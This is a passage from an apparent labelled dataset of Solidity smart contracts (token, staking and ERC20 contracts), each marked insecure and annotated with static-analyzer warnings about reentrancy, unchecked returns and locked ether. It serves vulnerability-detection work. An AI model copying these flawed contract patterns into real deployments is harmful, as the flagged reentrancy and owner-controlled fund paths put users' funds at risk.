Transfer(from, address(this), _taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6943ae5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6943ae5\n _balances[to] = _balances[to].add(amount.sub(_taxAmount));\n\n\t\t// reentrancy-events | ID: 9c17899\n emit Transfer(from, to, amount.sub(_taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9c17899\n\t\t// reentrancy-events | ID: f079e18\n\t\t// reentrancy-benign | ID: 82b7560\n\t\t// reentrancy-eth | ID: 6943ae5\n\t\t// reentrancy-eth | ID: 9a479ac\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9c17899\n\t\t// reentrancy-events | ID: f079e18\n\t\t// reentrancy-eth | ID: 6943ae5\n\t\t// reentrancy-eth | ID: 9a479ac\n _devWallet.transfer(amount);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function createPair() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n xyzOwner = uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a5f84a4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a5f84a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2b052c6): MECHAZILLA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2b052c6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 83f618b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 83f618b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: a5f84a4\n\t\t// unused-return | ID: 2b052c6\n\t\t// reentrancy-eth | ID: 83f618b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a5f84a4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 83f618b\n tradingOpen = true;\n }\n}",
"file_name": "solidity_code_1216.sol",
"secure": 0,
"size_bytes": 18713
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IEtherVistaFactory.sol\" as IEtherVistaFactory;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\n\ncontract BonziStakingV2 is ReentrancyGuard {\n IERC20 public immutable stakingToken;\n\n address public immutable StakingTokenAddress;\n\n address private immutable factory;\n\n AggregatorV3Interface internal immutable priceFeed;\n\n address private immutable costSetter;\n\n uint256 public constant LOCK_TIME = 21 days;\n\n uint256 private constant bigNumber = 10 ** 20;\n\n uint256 public totalCollected = 0;\n\n uint256 public poolBalance = 0;\n\n uint256 public totalSupply = 0;\n\n uint256 public cost = 200;\n\n struct Staker {\n uint256 amountStaked;\n uint256 stakingTime;\n uint256 euler0;\n uint256 totalLifetimeRewards;\n }\n\n uint256[] public euler;\n\n mapping(address => Staker) public stakers;\n\n event Staked(address indexed user, uint256 amount);\n\n event Withdrawn(address indexed user, uint256 amount);\n\n event SharesClaimed(address indexed user, uint256 amount);\n\n event CostUpdated(uint256 newCost);\n\n event ContributionReceived(address indexed contributor, uint256 amount);\n\n constructor(\n address _bonziToken,\n address _chainlinkETHUSD,\n address _factoryAddress,\n address _costSetter\n ) {\n require(_bonziToken != address(0), \"Invalid token address\");\n\n require(_chainlinkETHUSD != address(0), \"Invalid price feed address\");\n\n require(_factoryAddress != address(0), \"Invalid factory address\");\n\n require(_costSetter != address(0), \"Invalid cost setter address\");\n\n stakingToken = IERC20(_bonziToken);\n\n StakingTokenAddress = _bonziToken;\n\n priceFeed = AggregatorV3Interface(_chainlinkETHUSD);\n\n factory = _factoryAddress;\n\n costSetter = _costSetter;\n }\n\n receive() external payable {\n contributeETH();\n }\n\n fallback() external payable {\n contributeETH();\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 42c126c): BonziStakingV2.getEthUsdcPrice() ignores return value by (None,price,None,None,None) = priceFeed.latestRoundData()\n\t// Recommendation for 42c126c: Ensure that all the return values of the function calls are used.\n function getEthUsdcPrice() internal view returns (uint256) {\n\t\t// unused-return | ID: 42c126c\n (, int256 price, , , ) = priceFeed.latestRoundData();\n\n require(price > 0, \"Invalid price\");\n\n return uint256(price / 100);\n }\n\n function usdcToEth(uint256 usdcAmount) public view returns (uint256) {\n uint256 ethUsdcPrice = getEthUsdcPrice();\n\n return ((usdcAmount * 1e6 * 1e18) / ethUsdcPrice);\n }\n\n function setCost(uint256 _cost) external {\n require(msg.sender == costSetter, \"Not authorized\");\n\n cost = _cost;\n\n emit CostUpdated(_cost);\n }\n\n function updateEuler(uint256 Fee) internal {\n if (totalSupply == 0) return;\n\n unchecked {\n if (euler.length == 0) {\n euler.push((Fee * bigNumber) / totalSupply);\n } else {\n euler.push(\n euler[euler.length - 1] + (Fee * bigNumber) / totalSupply\n );\n }\n }\n }\n\n function contributeETH() public payable nonReentrant {\n require(msg.value >= usdcToEth(cost), \"Insufficient ETH sent\");\n\n unchecked {\n poolBalance += msg.value;\n\n totalCollected += msg.value;\n }\n\n updateEuler(msg.value);\n\n emit ContributionReceived(msg.sender, msg.value);\n }\n\n function stake(\n uint256 _amount,\n address user,\n address token\n ) external nonReentrant {\n require(\n msg.sender == IEtherVistaFactory(factory).router(),\n \"EtherVista: FORBIDDEN\"\n );\n\n require(token == StakingTokenAddress, \"Invalid token\");\n\n require(_amount > 0, \"Cannot stake 0\");\n\n require(user != address(0), \"Invalid user address\");\n\n unchecked {\n totalSupply += _amount;\n }\n\n Staker storage staker = stakers[user];\n\n staker.amountStaked += _amount;\n\n staker.stakingTime = block.timestamp;\n\n staker.euler0 = euler.length == 0 ? 0 : euler[euler.length - 1];\n\n emit Staked(user, _amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 4defc73): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 4defc73: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bd97922): Reentrancy in BonziStakingV2.withdraw(uint256) External calls _claimShare() \t (sent,None) = address(msg.sender).call{value share}() State variables written after the call(s) totalSupply = _amount\n\t// Recommendation for bd97922: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e90da03): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e90da03: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 52266a8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 52266a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 _amount) external nonReentrant {\n require(_amount > 0, \"Cannot withdraw 0\");\n\n Staker storage staker = stakers[msg.sender];\n\n\t\t// timestamp | ID: 4defc73\n require(staker.amountStaked >= _amount, \"Insufficient staked amount\");\n\n\t\t// timestamp | ID: 4defc73\n require(\n block.timestamp >= staker.stakingTime + LOCK_TIME,\n \"Tokens are still locked\"\n );\n\n uint256 pendingRewards = viewShare();\n\n\t\t// timestamp | ID: 4defc73\n if (pendingRewards > 0) {\n\t\t\t// reentrancy-benign | ID: bd97922\n\t\t\t// reentrancy-eth | ID: e90da03\n\t\t\t// reentrancy-eth | ID: 52266a8\n _claimShare();\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: e90da03\n staker.amountStaked -= _amount;\n\n\t\t\t// reentrancy-benign | ID: bd97922\n totalSupply -= _amount;\n }\n\n\t\t// reentrancy-eth | ID: 52266a8\n require(stakingToken.transfer(msg.sender, _amount), \"Transfer failed\");\n\n if (staker.amountStaked == 0) {\n uint256 lifetimeRewards = staker.totalLifetimeRewards;\n\n\t\t\t// reentrancy-eth | ID: 52266a8\n delete stakers[msg.sender];\n\n\t\t\t// reentrancy-eth | ID: 52266a8\n stakers[msg.sender].totalLifetimeRewards = lifetimeRewards;\n } else {\n\t\t\t// reentrancy-eth | ID: 52266a8\n staker.stakingTime = block.timestamp;\n\n\t\t\t// reentrancy-eth | ID: 52266a8\n staker.euler0 = euler[euler.length - 1];\n }\n\n emit Withdrawn(msg.sender, _amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 05f307e): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 05f307e: Avoid relying on 'block.timestamp'.\n function _claimShare() internal {\n require(euler.length > 0, \"Nothing to Claim\");\n\n uint256 balance = stakers[msg.sender].amountStaked;\n\n\t\t// timestamp | ID: 05f307e\n require(balance > 0, \"No stakes found\");\n\n uint256 share = (balance *\n (euler[euler.length - 1] - stakers[msg.sender].euler0)) / bigNumber;\n\n\t\t// timestamp | ID: 05f307e\n require(share > 0, \"No shares to claim\");\n\n\t\t// timestamp | ID: 05f307e\n require(share <= poolBalance, \"Insufficient contract balance\");\n\n stakers[msg.sender].euler0 = euler[euler.length - 1];\n\n unchecked {\n stakers[msg.sender].totalLifetimeRewards += share;\n\n poolBalance -= share;\n }\n\n\t\t// reentrancy-benign | ID: bd97922\n\t\t// reentrancy-eth | ID: e90da03\n\t\t// reentrancy-eth | ID: 52266a8\n (bool sent, ) = payable(msg.sender).call{value: share}(\"\");\n\n\t\t// timestamp | ID: 05f307e\n require(sent, \"Failed to send Ether\");\n\n emit SharesClaimed(msg.sender, share);\n }\n\n function claimShare() external nonReentrant {\n _claimShare();\n }\n\n function viewShare() public view returns (uint256) {\n if (euler.length == 0) return 0;\n\n return\n (stakers[msg.sender].amountStaked *\n (euler[euler.length - 1] - stakers[msg.sender].euler0)) /\n bigNumber;\n }\n\n function getLifetimeRewards(\n address _staker\n ) public view returns (uint256 totalRewards) {\n uint256 unclaimedRewards = viewShareForAddress(_staker);\n\n return stakers[_staker].totalLifetimeRewards + unclaimedRewards;\n }\n\n function viewShareForAddress(\n address _staker\n ) public view returns (uint256) {\n if (euler.length == 0) return 0;\n\n return\n (stakers[_staker].amountStaked *\n (euler[euler.length - 1] - stakers[_staker].euler0)) /\n bigNumber;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 506c972): BonziStakingV2.getStakerInfo(address) uses timestamp for comparisons Dangerous comparisons block.timestamp < staker.stakingTime + LOCK_TIME\n\t// Recommendation for 506c972: Avoid relying on 'block.timestamp'.\n function getStakerInfo(\n address _staker\n )\n public\n view\n returns (\n uint256 amountStaked,\n uint256 timeLeftToUnlock,\n uint256 currentShare,\n uint256 lifetimeRewards\n )\n {\n require(_staker != address(0), \"Invalid address\");\n\n Staker storage staker = stakers[_staker];\n\n amountStaked = staker.amountStaked;\n\n\t\t// timestamp | ID: 506c972\n if (block.timestamp < staker.stakingTime + LOCK_TIME) {\n timeLeftToUnlock =\n (staker.stakingTime + LOCK_TIME) -\n block.timestamp;\n } else {\n timeLeftToUnlock = 0;\n }\n\n if (euler.length > 0 && staker.amountStaked > 0) {\n currentShare =\n (staker.amountStaked *\n (euler[euler.length - 1] - staker.euler0)) /\n bigNumber;\n } else {\n currentShare = 0;\n }\n\n lifetimeRewards = getLifetimeRewards(_staker);\n }\n\n function getEulerLength() public view returns (uint256) {\n return euler.length;\n }\n\n function getEulerAt(uint256 index) public view returns (uint256) {\n require(index < euler.length, \"Index out of bounds\");\n\n return euler[index];\n }\n}",
"file_name": "solidity_code_1217.sol",
"secure": 0,
"size_bytes": 11666
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 336305c): Contract locking ether found Contract RandomAssuranceMatrix has payable functions RandomAssuranceMatrix.receive() But does not have a function to withdraw the ether\n// Recommendation for 336305c: Remove the 'payable' attribute or add a withdraw function.\ncontract RandomAssuranceMatrix is ERC20, Ownable {\n constructor() ERC20(unicode\"Random Assurance Matrix\", unicode\"RAM\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 336305c): Contract locking ether found Contract RandomAssuranceMatrix has payable functions RandomAssuranceMatrix.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 336305c: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1218.sol",
"secure": 0,
"size_bytes": 1085
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SHRUB is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fe5f536): SHRUB._taxWallet should be immutable \n\t// Recommendation for fe5f536: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 066fc0e): SHRUB._initialBuyTax should be constant \n\t// Recommendation for 066fc0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 20e485a): SHRUB._initialSellTax should be constant \n\t// Recommendation for 20e485a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f5c976): SHRUB._reduceBuyTaxAt should be constant \n\t// Recommendation for 3f5c976: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc3f371): SHRUB._reduceSellTaxAt should be constant \n\t// Recommendation for dc3f371: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 78ea88c): SHRUB._preventSwapBefore should be constant \n\t// Recommendation for 78ea88c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9ec2ef): SHRUB.zero should be constant \n\t// Recommendation for f9ec2ef: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 44000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SHRUB 2.0\";\n\n string private constant _symbol = unicode\"SHRUB\";\n\n uint256 public _maxTxAmount = 880000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 880000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b47d1b6): SHRUB._taxSwapThreshold should be constant \n\t// Recommendation for b47d1b6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 440000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a396540): SHRUB._maxTaxSwap should be constant \n\t// Recommendation for a396540: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 440000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 158deb0): SHRUB.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 158deb0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 33e39d9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 33e39d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a011813): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a011813: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 33e39d9\n\t\t// reentrancy-benign | ID: a011813\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 33e39d9\n\t\t// reentrancy-benign | ID: a011813\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dcfdf78): SHRUB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dcfdf78: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a011813\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 33e39d9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6df1cb9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6df1cb9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 810cd0a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 810cd0a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6df1cb9\n\t\t\t\t// reentrancy-eth | ID: 810cd0a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6df1cb9\n\t\t\t\t\t// reentrancy-eth | ID: 810cd0a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 810cd0a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 810cd0a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 810cd0a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6df1cb9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 810cd0a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 810cd0a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6df1cb9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 33e39d9\n\t\t// reentrancy-events | ID: 6df1cb9\n\t\t// reentrancy-benign | ID: a011813\n\t\t// reentrancy-eth | ID: 810cd0a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6525c98): SHRUB.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6525c98: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 33e39d9\n\t\t// reentrancy-events | ID: 6df1cb9\n\t\t// reentrancy-eth | ID: 810cd0a\n\t\t// arbitrary-send-eth | ID: 6525c98\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: be43534): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for be43534: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b7d1d1c): SHRUB.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b7d1d1c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2bb9fd3): SHRUB.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2bb9fd3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 46b7917): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 46b7917: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: be43534\n\t\t\t// reentrancy-eth | ID: 46b7917\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: be43534\n\t\t// unused-return | ID: 2bb9fd3\n\t\t// reentrancy-eth | ID: 46b7917\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: be43534\n\t\t// unused-return | ID: b7d1d1c\n\t\t// reentrancy-eth | ID: 46b7917\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: be43534\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 46b7917\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d1356bf): SHRUB.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for d1356bf: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: d1356bf\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n 